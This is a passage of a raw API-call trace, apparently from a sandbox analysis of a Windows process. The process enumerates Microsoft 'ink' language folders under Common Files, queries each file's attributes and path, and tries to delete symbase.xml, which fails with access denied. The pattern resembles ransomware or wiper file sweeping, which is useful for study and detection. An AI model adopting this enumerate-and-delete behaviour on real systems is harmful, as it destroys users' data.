returned 0x0 [0123.206] GetCurrentThreadId () returned 0x9b0 [0123.206] GetLastError () returned 0x0 [0123.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0123.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0123.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.206] GetLastError () returned 0x0 [0123.206] GetLastError () returned 0x0 [0123.206] GetCurrentThreadId () returned 0x9b0 [0123.206] GetLastError () returned 0x0 [0123.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bd900 | out: hHeap=0x2ad0000) returned 1 [0123.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9458 [0123.207] GetLastError () returned 0x0 [0123.207] GetLastError () returned 0x0 [0123.207] GetCurrentThreadId () returned 0x9b0 [0123.207] GetLastError () returned 0x0 [0123.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9458 | out: hHeap=0x2ad0000) returned 1 [0123.207] GetCurrentThreadId () returned 0x9b0 [0123.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.207] GetLastError () returned 0x0 [0123.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.208] CloseHandle (hObject=0x3ac) returned 1 [0123.209] GetLastError () returned 0x0 [0123.209] GetCurrentThreadId () returned 0x9b0 [0123.209] GetLastError () returned 0x0 [0123.209] GetLastError () returned 0x0 [0123.209] CloseHandle (hObject=0x39c) returned 1 [0123.209] GetLastError () returned 0x0 [0123.209] GetCurrentThreadId () returned 0x9b0 [0123.209] GetLastError () returned 0x0 [0123.209] GetLastError () returned 0x0 [0123.210] GetLastError () returned 0x0 [0123.210] GetLastError () returned 0x0 [0123.210] GetLastError () returned 0x0 [0123.210] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0 [0123.210] GetLastError () returned 0x5 [0123.210] GetCurrentThreadId () returned 0x9b0 [0123.211] GetLastError () returned 0x5 [0123.211] GetLastError () returned 0x5 [0123.211] GetLastError () returned 0x5 [0123.211] GetLastError () returned 0x5 [0123.211] LocalFree (hMem=0x1053c70) returned 0x0 [0123.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0123.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0123.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0123.211] GetCurrentThreadId () returned 0x9b0 [0123.211] GetLastError () returned 0x5 [0123.211] GetLastError () returned 0x5 [0123.212] GetLastError () returned 0x5 [0123.212] GetLastError () returned 0x5 [0123.212] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0123.212] GetLastError () returned 0x5 [0123.212] GetCurrentThreadId () returned 0x9b0 [0123.212] GetLastError () returned 0x5 [0123.212] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.212] GetLastError () returned 0x5 [0123.212] GetCurrentThreadId () returned 0x9b0 [0123.213] GetLastError () returned 0x5 [0123.213] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.213] GetLastError () returned 0x5 [0123.213] GetCurrentThreadId () returned 0x9b0 [0123.213] GetLastError () returned 0x5 [0123.213] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.213] GetLastError () returned 0x12 [0123.213] GetCurrentThreadId () returned 0x9b0 [0123.213] GetLastError () returned 0x12 [0123.213] GetLastError () returned 0x12 [0123.213] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0123.213] GetLastError () returned 0x12 [0123.214] GetLastError () returned 0x12 [0123.214] GetLastError () returned 0x12 [0123.214] GetLastError () returned 0x12 [0123.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.214] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0123.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0123.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.214] GetCurrentThreadId () returned 0x9b0 [0123.214] GetLastError () returned 0x12 [0123.215] GetLastError () returned 0x12 [0123.215] GetLastError () returned 0x12 [0123.215] GetLastError () returned 0x12 [0123.215] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.215] GetCurrentThreadId () returned 0x9b0 [0123.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.215] GetLastError () returned 0x12 [0123.216] GetLastError () returned 0x12 [0123.216] GetLastError () returned 0x12 [0123.216] GetLastError () returned 0x12 [0123.216] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0123.216] GetLastError () returned 0x12 [0123.216] GetCurrentThreadId () returned 0x9b0 [0123.216] GetLastError () returned 0x12 [0123.216] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.216] GetLastError () returned 0x12 [0123.216] GetCurrentThreadId () returned 0x9b0 [0123.217] GetLastError () returned 0x12 [0123.217] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.217] GetLastError () returned 0x12 [0123.217] GetCurrentThreadId () returned 0x9b0 [0123.217] GetLastError () returned 0x12 [0123.217] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.217] GetLastError () returned 0x12 [0123.217] GetCurrentThreadId () returned 0x9b0 [0123.217] GetLastError () returned 0x12 [0123.217] GetLastError () returned 0x12 [0123.217] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0123.218] GetCurrentThreadId () returned 0x9b0 [0123.218] GetLastError () returned 0x12 [0123.218] GetLastError () returned 0x12 [0123.218] GetLastError () returned 0x12 [0123.218] GetLastError () returned 0x12 [0123.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.218] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0123.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0123.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0123.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.222] GetCurrentThreadId () returned 0x9b0 [0123.222] GetLastError () returned 0x12 [0123.222] GetLastError () returned 0x12 [0123.222] GetLastError () returned 0x12 [0123.222] GetLastError () returned 0x12 [0123.222] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.222] GetCurrentThreadId () returned 0x9b0 [0123.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.223] GetLastError () returned 0x12 [0123.223] GetLastError () returned 0x12 [0123.223] GetLastError () returned 0x12 [0123.223] GetLastError () returned 0x12 [0123.223] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0123.223] GetLastError () returned 0x12 [0123.223] GetCurrentThreadId () returned 0x9b0 [0123.223] GetLastError () returned 0x12 [0123.223] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.224] GetLastError () returned 0x12 [0123.224] GetCurrentThreadId () returned 0x9b0 [0123.224] GetLastError () returned 0x12 [0123.224] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.224] GetLastError () returned 0x12 [0123.224] GetCurrentThreadId () returned 0x9b0 [0123.224] GetLastError () returned 0x12 [0123.224] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.224] GetLastError () returned 0x12 [0123.224] GetCurrentThreadId () returned 0x9b0 [0123.224] GetLastError () returned 0x12 [0123.224] GetLastError () returned 0x12 [0123.225] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0123.225] GetCurrentThreadId () returned 0x9b0 [0123.225] GetLastError () returned 0x12 [0123.225] GetLastError () returned 0x12 [0123.225] GetLastError () returned 0x12 [0123.225] GetLastError () returned 0x12 [0123.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.225] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0123.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0123.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.226] GetLastError () returned 0x12 [0123.226] GetLastError () returned 0x12 [0123.226] GetLastError () returned 0x12 [0123.226] GetLastError () returned 0x12 [0123.226] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.226] GetCurrentThreadId () returned 0x9b0 [0123.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.227] GetCurrentThreadId () returned 0x9b0 [0123.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0123.227] GetLastError () returned 0x12 [0123.227] GetLastError () returned 0x12 [0123.227] GetLastError () returned 0x12 [0123.227] GetLastError () returned 0x12 [0123.227] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7550 [0123.227] GetLastError () returned 0x12 [0123.227] GetCurrentThreadId () returned 0x9b0 [0123.228] GetLastError () returned 0x12 [0123.228] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.228] GetLastError () returned 0x12 [0123.228] GetCurrentThreadId () returned 0x9b0 [0123.228] GetLastError () returned 0x12 [0123.228] FindNextFileA (in: hFindFile=0x10f7550, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0123.228] GetLastError () returned 0x12 [0123.228] GetCurrentThreadId () returned 0x9b0 [0123.228] GetLastError () returned 0x12 [0123.228] GetLastError () returned 0x12 [0123.228] FindClose (in: hFindFile=0x10f7550 | out: hFindFile=0x10f7550) returned 1 [0123.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.229] GetCurrentThreadId () returned 0x9b0 [0123.229] GetLastError () returned 0x12 [0123.229] GetLastError () returned 0x12 [0123.229] GetLastError () returned 0x12 [0123.229] GetLastError () returned 0x12 [0123.229] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0123.229] GetLastError () returned 0x12 [0123.229] GetCurrentThreadId () returned 0x9b0 [0123.229] GetLastError () returned 0x12 [0123.230] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.230] GetLastError () returned 0x12 [0123.230] GetCurrentThreadId () returned 0x9b0 [0123.230] GetLastError () returned 0x12 [0123.230] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.230] GetLastError () returned 0x12 [0123.230] GetCurrentThreadId () returned 0x9b0 [0123.230] GetLastError () returned 0x12 [0123.230] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.230] GetLastError () returned 0x12 [0123.230] GetCurrentThreadId () returned 0x9b0 [0123.230] GetLastError () returned 0x12 [0123.231] GetLastError () returned 0x12 [0123.231] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0123.231] GetCurrentThreadId () returned 0x9b0 [0123.231] GetLastError () returned 0x12 [0123.231] GetLastError () returned 0x12 [0123.231] GetLastError () returned 0x12 [0123.231] GetLastError () returned 0x12 [0123.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.231] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0123.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0123.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0123.232] GetLastError () returned 0x12 [0123.232] GetLastError () returned 0x12 [0123.232] GetLastError () returned 0x12 [0123.232] GetLastError () returned 0x12 [0123.233] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.233] GetCurrentThreadId () returned 0x9b0 [0123.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.233] GetCurrentThreadId () returned 0x9b0 [0123.233] GetLastError () returned 0x12 [0123.233] GetLastError () returned 0x12 [0123.233] GetLastError () returned 0x12 [0123.233] GetLastError () returned 0x12 [0123.234] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0123.234] GetLastError () returned 0x12 [0123.234] GetCurrentThreadId () returned 0x9b0 [0123.234] GetLastError () returned 0x12 [0123.234] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: 